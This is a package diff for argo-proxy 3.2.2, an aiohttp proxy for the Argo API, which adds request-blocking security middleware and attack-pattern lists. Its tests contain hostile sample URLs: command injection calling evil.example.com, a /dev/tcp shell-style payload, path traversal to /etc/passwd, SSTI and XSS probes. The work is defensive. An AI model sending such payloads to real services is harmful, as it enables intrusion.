argo-proxy 3.2.1__tar.gz → 3.2.2__tar.gz

{argo_proxy-3.2.1/src/argo_proxy.egg-info → argo_proxy-3.2.2}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.4
 Name: argo-proxy
-Version: 3.2.1
+Version: 3.2.2
 Summary: Proxy server to Argo API, OpenAI format compatible
 Author-email: Peng Ding <oaklight@gmx.com>
 License-Expression: MIT

{argo_proxy-3.2.1 → argo_proxy-3.2.2/src/argo_proxy.egg-info}/PKG-INFO

@@ -1,6 +1,6 @@
 Metadata-Version: 2.4
 Name: argo-proxy
-Version: 3.2.1
+Version: 3.2.2
 Summary: Proxy server to Argo API, OpenAI format compatible
 Author-email: Peng Ding <oaklight@gmx.com>
 License-Expression: MIT

{argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argo_proxy.egg-info/SOURCES.txt

@@ -41,4 +41,5 @@ test/test_function_calling_single.py
 test/test_leaked_tool_parser.py
 test/test_model_resolution.py
 tests/test_config_migrate.py
+tests/test_security_middleware.py
 tests/test_unix_socket.py

argo_proxy-3.2.2/src/argoproxy/__init__.py

@@ -0,0 +1 @@
+__version__ = "3.2.2"

{argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/app.py

@@ -19,6 +19,7 @@ from .performance import (
     OptimizedHTTPSession,
     get_performance_config,
 )
+from .utils.attack_logger import security_middleware
 from .utils.logging import log_debug, log_error, log_info, log_warning
 
 
@@ -320,7 +321,10 @@ def create_app():
     # Set client_max_size to 100MB to handle large image payloads from remote clients
     # Users may send images larger than the gateway's 20MB limit; argo-proxy will
     # compress them before forwarding. Default aiohttp limit is 1MB which is too small.
-    app = web.Application(client_max_size=100 * 1024 * 1024)
+    app = web.Application(
+        client_max_size=100 * 1024 * 1024,
+        middlewares=[security_middleware],
+    )
     app.on_startup.append(prepare_app)
     app.on_shutdown.append(cleanup_app)
 

{argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/endpoints/dispatch.py

@@ -27,6 +27,7 @@ from llm_rosetta.shims.providers import load_providers
 from ..config import ArgoConfig
 from ..models import ModelRegistry
 from ..utils.image_processing import process_anthropic_images, process_openai_images
+from ..utils.misc import build_user_agent
 from ..utils.logging import (
     clear_request_user,
     log_converted_request,
@@ -288,10 +289,7 @@ def _build_upstream_headers(
     """Build HTTP headers for the upstream API request."""
     headers: dict[str, str] = {"Content-Type": "application/json"}
 
-    # Pass through client's User-Agent to upstream (transparent proxy)
-    client_ua = request.headers.get("User-Agent")
-    if client_ua:
-        headers["User-Agent"] = client_ua
+    headers["User-Agent"] = build_user_agent(request.headers.get("User-Agent"))
 
     if should_use_username_passthrough():
         api_key = _extract_client_credential(request, target_provider) or fallback_user

{argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/endpoints/passthrough.py

@@ -13,6 +13,7 @@ from aiohttp import web
 
 from ..config import ArgoConfig
 from ..models import ModelRegistry
+from ..utils.misc import build_user_agent
 from ..utils.logging import (
     log_converted_request,
     log_debug,
@@ -67,6 +68,9 @@ async def proxy_embeddings_request(
         upstream_url = f"{config.native_openai_base_url}/embeddings"
 
         headers = {"Content-Type": "application/json"}
+
+        headers["User-Agent"] = build_user_agent(request.headers.get("User-Agent"))
+
         if "Authorization" in request.headers:
             headers["Authorization"] = request.headers["Authorization"]
 

{argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/models.py

@@ -13,6 +13,7 @@ from tqdm.asyncio import tqdm_asyncio
 
 from .config import ArgoConfig, _get_yes_no_input_with_timeout
 from .utils.logging import log_debug, log_error, log_info, log_warning
+from .utils.misc import build_user_agent
 from .utils.transports import validate_api_async
 
 DEFAULT_TIMEOUT = 30
@@ -309,6 +310,7 @@ async def get_upstream_model_list_async(
         async with aiohttp.ClientSession(
             connector=connector,
             timeout=client_timeout,
+            headers={"User-Agent": build_user_agent()},
         ) as session:
             log_debug(f"Sending request to: {url}", context="models")
 

{argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/utils/attack_logger.py

@@ -4,6 +4,7 @@ This module provides functionality to:
 1. Log attack attempts with concise warning messages
 2. Save detailed attack information to files for analysis
 3. Organize logs by date in a dedicated directory
+4. Block malicious requests at the application level via middleware
 """
 
 import gzip
@@ -13,6 +14,9 @@ import traceback
 from datetime import datetime
 from pathlib import Path
 from typing import Any
+from urllib.parse import unquote
+
+from aiohttp import web
 
 from .logging import log_warning
 
@@ -31,7 +35,11 @@ class AttackLogger:
         enabled: Whether attack logging is enabled.
     """
 
-    # Known attack patterns for classification
+    # Broadest pattern set — used to classify attack type from raw request data.
+    # Includes generic terms (nslookup, curl, wget) that would false-positive in
+    # URL matching but are fine for post-hoc classification of parser-rejected requests.
+    # See also: AttackFilter.ATTACK_PATTERNS (log filter) and _REQUEST_ATTACK_PATTERNS
+    # (middleware) — each has a narrower scope suited to its context.
     ATTACK_TYPES = {
         "struts2_ognl": [
             "xwork.MethodAccessor.denyMethodExecution",
@@ -66,6 +74,19 @@ class AttackLogger:
             "onerror=",
             "onload=",
         ],
+        "command_injection": [
+            "$(",
+            "/bin/bash",
+            "/bin/sh",
+            "/bin/zsh",
+            "cmd.exe",
+            "powershell",
+            "/dev/tcp/",
+            "/dev/udp/",
+            "nslookup ",
+            "curl ",
+            "wget ",
+        ],
     }
 
     def __init__(self, config_path: Path | None = None):
@@ -205,7 +226,10 @@ class AttackFilter(logging.Filter):
         "http_exceptions",
     ]
 
-    # Attack payload patterns
+    # Subset of patterns matched against aiohttp parser exception text.
+    # Narrower than ATTACK_TYPES — only patterns that actually appear in parser
+    # error messages. See also: ATTACK_TYPES (classifier) and
+    # _REQUEST_ATTACK_PATTERNS (middleware).
     ATTACK_PATTERNS = [
         # Struts2 OGNL
         "xwork.MethodAccessor",
@@ -219,6 +243,12 @@ class AttackFilter(logging.Filter):
         "${{",
         "${#",
         "%24%7B",
+        # Command injection
+        "$(",
+        "/bin/bash",
+        "/bin/sh",
+        "/dev/tcp/",
+        "/dev/udp/",
     ]
 
     def __init__(self, attack_logger: AttackLogger):
@@ -306,6 +336,131 @@ class AttackFilter(logging.Filter):
         return "unknown"
 
 
+# ---------------------------------------------------------------------------
+# Request-level security middleware
+# ---------------------------------------------------------------------------
+
+# Strictest pattern set — checked against URL-decoded path + query string on
+# every inbound request. Only high-confidence indicators that are unlikely to
+# appear in legitimate LLM API URLs. All patterns must be lowercase (the URL
+# is lowercased before matching). See also: ATTACK_TYPES (classifier) and
+# AttackFilter.ATTACK_PATTERNS (log filter) for the broader lists.
+_REQUEST_ATTACK_PATTERNS: dict[str, list[str]] = {
+    "command_injection": [
+        "$(",  # bash subshell: $(cmd)
+        # Backtick command substitution — most aggressive single-char pattern.
+        # Extremely rare in legitimate LLM API URLs; check here first on false positives.
+        "`",
+        "/bin/bash",
+        "/bin/sh",
+        "/bin/zsh",
+        "cmd.exe",
+        "powershell",
+        "/dev/tcp/",
+        "/dev/udp/",
+        # nslookup/curl/wget are in ATTACK_TYPES for classification but intentionally
+        # excluded here — too generic for URL matching and would cause false positives.
+    ],
+    "struts2_ognl": [
+        "xwork.methodaccessor",
+        "_memberaccess",
+        "allowstaticmethodaccess",
+        "java.lang.runtime",
+        "org.apache.struts2",
+    ],
+    "directory_traversal": [
+        "././././",
+        "../../../",  # requires 3+ levels to avoid false positives on relative paths
+    ],
+    "ssti_probe": [
+        "${{",
+        "${#",
+    ],
+    "xss_probe": [
+        "<script>",
+        "javascript:",
+    ],
+}
+
+
+def _decode_url(raw: str) -> str:
+    """URL-decode a string, applying up to 2 rounds to catch double-encoding.
+
+    Args:
+        raw: Raw URL string.
+
+    Returns:
+        Decoded string.
+    """
+    # Two passes to catch double-encoded payloads like %2524%2528 -> %24%28 -> $(
+    return unquote(unquote(raw))
+
+
+def _detect_request_attack(url_decoded: str) -> str | None:
+    """Check a decoded URL string against request-level attack patterns.
+
+    Args:
+        url_decoded: URL-decoded path + query string.
+
+    Returns:
+        Attack type string if matched, None otherwise.
+    """
+    url_lower = url_decoded.lower()
+    # Patterns are lowercase literals — no need to call .lower() on them.
+    for attack_type, patterns in _REQUEST_ATTACK_PATTERNS.items():
+        for pattern in patterns:
+            if pattern in url_lower:
+                return attack_type
+    return None
+
+
+@web.middleware
+async def security_middleware(
+    request: web.Request,
+    handler,
+) -> web.StreamResponse:
+    """Application-level middleware that blocks requests with malicious payloads.
+
+    This complements the AttackFilter (which catches parser-level errors) by
+    inspecting syntactically valid HTTP requests before they reach handlers.
+    The URL path and query string are URL-decoded before pattern matching.
+
+    Args:
+        request: The incoming aiohttp request.
+        handler: The next handler in the middleware chain.
+
+    Returns:
+        A 403 response if an attack is detected, otherwise the handler response.
+    """
+    # Decode and inspect path + query string
+    raw_url = request.path_qs
+    decoded_url = _decode_url(raw_url)
+    attack_type = _detect_request_attack(decoded_url)
+
+    if attack_type is not None:
+        # Extract remote IP
+        peername = (
+            request.transport.get_extra_info("peername") if request.transport else None
+        )
+        remote_ip = peername[0] if peername else request.remote or "unknown"
+
+        # Log via AttackLogger
+        attack_logger = get_attack_logger()
+        attack_logger.log_attack(
+            remote_ip=remote_ip,
+            raw_request=f"{request.method} {raw_url}",
+            error_type="blocked_by_middleware",
+            error_message=f"Request blocked: {attack_type} pattern in URL",
+        )
+
+        return web.json_response(
+            {"error": "Forbidden"},
+            status=403,
+        )
+
+    return await handler(request)
+
+
 # Global attack logger instance
 _attack_logger: AttackLogger | None = None
 

{argo_proxy-3.2.1 → argo_proxy-3.2.2}/src/argoproxy/utils/misc.py

@@ -224,3 +224,13 @@ def check_response_for_argo_warning(
     """
     text = extract_text_from_response(response_data, provider)
     return contains_argo_auth_warning(text)
+
+
+def build_user_agent(client_ua: str | None = None) -> str:
+    """Build a User-Agent string identifying argo-proxy, optionally appended to a client UA."""
+    from .. import __version__
+
+    proxy_ua = f"argo-proxy/{__version__}"
+    if client_ua:
+        return f"{client_ua} {proxy_ua}"
+    return proxy_ua

argo_proxy-3.2.2/tests/test_security_middleware.py

@@ -0,0 +1,161 @@
+"""Tests for the request-level security middleware.
+
+Verifies that malicious payloads in URLs are blocked before reaching handlers,
+while legitimate requests pass through.
+"""
+
+from aiohttp import web
+from aiohttp.test_utils import AioHTTPTestCase
+
+from argoproxy.utils.attack_logger import security_middleware
+
+
+async def _ok_handler(request: web.Request) -> web.Response:
+    """Simple handler that returns 200 OK."""
+    return web.json_response({"status": "ok"})
+
+
+def _create_test_app() -> web.Application:
+    """Create a minimal app with security middleware and a catch-all route."""
+    app = web.Application(middlewares=[security_middleware])
+    app.router.add_route("*", "/{path:.*}", _ok_handler)
+    return app
+
+
+# ---------------------------------------------------------------------------
+# Legitimate requests — should pass through (200)
+# ---------------------------------------------------------------------------
+
+
+class TestLegitimateRequests(AioHTTPTestCase):
+    """Ensure normal API traffic is not blocked."""
+
+    async def get_application(self):
+        return _create_test_app()
+
+    async def test_normal_api_path(self):
+        resp = await self.client.get("/api/v1/models")
+        assert resp.status == 200
+
+    async def test_normal_query_params(self):
+        resp = await self.client.get("/api/chat?model=gpt-4&stream=true")
+        assert resp.status == 200
+
+    async def test_json_post(self):
+        resp = await self.client.post(
+            "/v1/chat/completions",
+            json={"model": "gpt-4", "messages": [{"role": "user", "content": "hello"}]},
+        )
+        assert resp.status == 200
+
+    async def test_health_check(self):
+        resp = await self.client.get("/health")
+        assert resp.status == 200
+
+    async def test_well_known(self):
+        resp = await self.client.get("/.well-known/jwks.json")
+        assert resp.status == 200
+
+
+# ---------------------------------------------------------------------------
+# Command injection — should be blocked (403)
+# ---------------------------------------------------------------------------
+
+
+class TestCommandInjection(AioHTTPTestCase):
+    """Verify command injection payloads are blocked."""
+
+    async def get_application(self):
+        return _create_test_app()
+
+    async def test_subshell_in_query(self):
+        """The exact payload from the Nessus scan."""
+        resp = await self.client.get(
+            '/api/getServices?name[]=$(/bin/bash -c "nslookup evil.example.com")'
+        )
+        assert resp.status == 403
+
+    async def test_bash_devtcp_in_query(self):
+        """Reverse shell via /dev/tcp."""
+        resp = await self.client.get(
+            '/api/getServices?name[]=$(bash -c "echo pwned >/dev/tcp/1.2.3.4/4444")'
+        )
+        assert resp.status == 403
+
+    async def test_backtick_injection(self):
+        resp = await self.client.get("/api/search?q=`id`")
+        assert resp.status == 403
+
+    async def test_url_encoded_subshell(self):
+        """URL-encoded $( should be decoded and caught."""
+        resp = await self.client.get("/api/search?q=%24%28id%29")
+        assert resp.status == 403
+
+    async def test_double_encoded_subshell(self):
+        """Double URL-encoded $( should still be caught."""
+        resp = await self.client.get("/api/search?q=%2524%2528id%2529")
+        assert resp.status == 403
+
+    async def test_bin_sh_in_query(self):
+        resp = await self.client.get("/api/run?cmd=/bin/sh+-c+id")
+        assert resp.status == 403
+
+    async def test_powershell_in_query(self):
+        resp = await self.client.get("/api/run?cmd=powershell+-enc+base64payload")
+        assert resp.status == 403
+
+    async def test_cmd_exe_in_query(self):
+        resp = await self.client.get("/api/run?cmd=cmd.exe+/c+dir")
+        assert resp.status == 403
+
+
+# ---------------------------------------------------------------------------
+# Other attack types — should be blocked (403)
+# ---------------------------------------------------------------------------
+
+
+class TestOtherAttackTypes(AioHTTPTestCase):
+    """Verify other attack patterns are blocked at request level."""
+
+    async def get_application(self):
+        return _create_test_app()
+
+    async def test_directory_traversal_in_query(self):
+        resp = await self.client.get("/api/file?path=../../../etc/passwd")
+        assert resp.status == 403
+
+    async def test_struts2_ognl(self):
+        resp = await self.client.get(
+            "/api?class.module.classLoader.URLs%5B0%5D=java.lang.Runtime"
+        )
+        assert resp.status == 403
+
+    async def test_ssti_probe(self):
+        resp = await self.client.get("/api/search?q=${{7*7}}")
+        assert resp.status == 403
+
+    async def test_xss_script_tag(self):
+        resp = await self.client.get("/api/search?q=<script>alert(1)</script>")
+        assert resp.status == 403
+
+    async def test_xss_javascript_proto(self):
+        resp = await self.client.get("/api/redirect?url=javascript:alert(1)")
+        assert resp.status == 403
+
+
+# ---------------------------------------------------------------------------
+# Response format
+# ---------------------------------------------------------------------------
+
+
+class TestResponseFormat(AioHTTPTestCase):
+    """Verify the blocked response format."""
+
+    async def get_application(self):
+        return _create_test_app()
+
+    async def test_blocked_response_body(self):
+        resp = await self.client.get('/api/getServices?name[]=$(/bin/bash -c "whoami")')
+        assert resp.status == 403
+        body = await resp.json()
+        assert body == {"error": "Forbidden"}

argo_proxy-3.2.1/src/argoproxy/__init__.py

@@ -1 +0,0 @@
-__version__ = "3.2.1"